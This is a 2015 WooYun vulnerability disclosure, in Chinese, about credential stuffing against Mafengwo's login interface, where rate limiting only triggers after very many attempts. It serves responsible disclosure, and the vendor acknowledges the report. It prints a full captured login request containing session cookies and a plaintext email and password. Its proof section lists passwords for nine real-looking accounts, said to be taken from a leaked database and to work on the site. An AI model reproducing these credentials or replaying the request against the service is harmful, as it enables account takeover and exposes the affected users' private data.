当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0112528

漏洞标题：蚂蜂窝某接口撞库泄露用户登录凭据(有账号证明)

相关厂商：蚂蜂窝

漏洞作者： 路人甲

提交时间：2015-05-07 08:57

修复时间：2015-06-21 10:42

公开时间：2015-06-21 10:42

漏洞类型：设计缺陷/逻辑错误

危害等级：高

自评Rank：18

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-05-07： 细节已通知厂商并且等待厂商处理中
2015-05-07： 厂商已经确认，细节仅向厂商公开
2015-05-17： 细节向核心白帽子及相关领域专家公开
2015-05-27： 细节向普通白帽子公开
2015-06-06： 细节向实习白帽子公开
2015-06-21： 细节向公众公开

简要描述：

撞库扫号攻击已经是Top 10 Security Risks for 2014之一.撞库以大量的用户数据为基础，利用用户相同的注册习惯（相同的用户名和密码），尝试登陆其它的网站。2011年，互联网泄密事件引爆了整个信息安全界，导致传统的用户+密码认证的方式已无法满足现有安全需求。泄露数据包括：天涯：31,758,468条，CSDN：6,428,559条，微博：4,442,915条，人人网：4,445,047条，猫扑：2,644,726条，178：9,072,819条，嘟嘟牛：13,891,418条，7K7K：18,282,404条，共1.2亿条。不管你的网站密码保护的多好，但是面对已经泄露的账号密码，撞库扫号防御还是一个相当重要的环节。

详细说明：

主站登录接口。对登录接口的调用没有进行限制。 其实是有限制的。超过一定次数弹验证码并且会进一步封IP。但是触发条件很高。大概要10000次才会触发验证码？？？？ 登录接口抓包如下：

POST /login-popup.html HTTP/1.1
Host: passport.mafengwo.cn
Connection: close
Content-Length: 51
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: https://passport.mafengwo.cn
User-Agent: Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14
Content-Type: application/x-www-form-urlencoded
Referer: https://passport.mafengwo.cn/login-popup.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6
Cookie: PHPSESSID=0h2indc7cseoidkesfc0725sk6; mfw_uuid=554a05cd-577e-f824-2925-c8c47cf2dd2c; _r=baidu; _rp=a%3A2%3A%7Bs%3A1%3A%22p%22%3Bs%3A18%3A%22www.baidu.com%2Flink%22%3Bs%3A1%3A%22t%22%3Bi%3A1430914509%3B%7D; 3c4751be7aca0d6a2fd9c5b2375bb3e1=1453; 130eefe7b7f5ed90eed7a3391c3313f6=1418; 26afe81f3c9398c9ff3b0338547070cc=1466; __mfwlv=1430914509; __mfwvn=1; xcuxm1=1; __utmt=1; __utma=258432534.1307612026.1430914511.1430914511.1430914511.1; __utmb=258432534.1.10.1430914511; __utmc=258432534; __utmz=258432534.1430914511.1.1.utmcsr=baidu|utmccn=(organic)|utmcmd=organic; uva=a%3A5%3A%7Bs%3A13%3A%22host_pre_time%22%3Bs%3A10%3A%222015-05-06%22%3Bs%3A2%3A%22lt%22%3Bi%3A1430914511%3Bs%3A5%3A%22rhost%22%3Bs%3A13%3A%22www.baidu.com%22%3Bs%3A10%3A%22last_refer%22%3Bs%3A145%3A%22http%3A%2F%2Fwww.baidu.com%2Flink%3Furl%3D3qmmKEdNh167-g6Pd39Nzn43FClGUOyxM_RasoEokdhEZyjjq8a-KGroEuluQ7CK%26wd%3D%26eqid%3Dee1500bb0001745800000004554a05ca%26ie%3Dutf-8%22%3Bs%3A4%3A%22step%22%3Bi%3A1%3B%7D; oad_n=a%3A6%3A%7Bs%3A5%3A%22refer%22%3Bs%3A20%3A%22http%3A%2F%2Fwww.baidu.com%22%3Bs%3A2%3A%22hp%22%3Bs%3A13%3A%22www.baidu.com%22%3Bs%3A3%3A%22oid%22%3Bi%3A1026%3Bs%3A2%3A%22dm%22%3Bs%3A15%3A%22www.mafengwo.cn%22%3Bs%3A2%3A%22ft%22%3Bs%3A19%3A%222015-05-06+20%3A15%3A09%22%3Bs%3A2%3A%22pv%22%3Bi%3A1%3B%7D; __mfwthirduuid=b968ca14e09797bd9703f76b07acfaf3; __mfwuuid=554a05cd-577e-f824-2925-c8c47cf2dd2c
RA-Ver: 2.10.0
RA-Sid: 7B9DD012-20150303-080129-82895f-fb68a9
AlexaToolbar-ALX_NS_PH: AlexaToolbar/alxg-3.3
passport=fujj_110@163%2ecom&password=86652241&code=

漏洞证明：

经过测试发现，使用某泄露数据库可以有效的登录账号.

[email protected]	7474liu
[email protected]	1988602418
[email protected]	lhm32411111
[email protected]	zhouqiao
[email protected]	xuqingyu
[email protected]	1234asdf
[email protected]	86652241
[email protected]	tan1978
[email protected]	532221


屏幕快照 2015-05-06 下午8.17.39.png


屏幕快照 2015-05-06 下午8.48.25.png


修复方案：

撞库防御参考资料:http://stayliv3.github.io/2015/04/15/%E6%92%9E%E5%BA%93%E6%94%BB%E5%87%BB%E9%98%B2%E5%BE%A1%E6%96%B9%E6%A1%88/

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：20

确认时间：2015-05-07 10:40

厂商回复：

非常感谢反馈 我们在解决中

最新状态：

暂无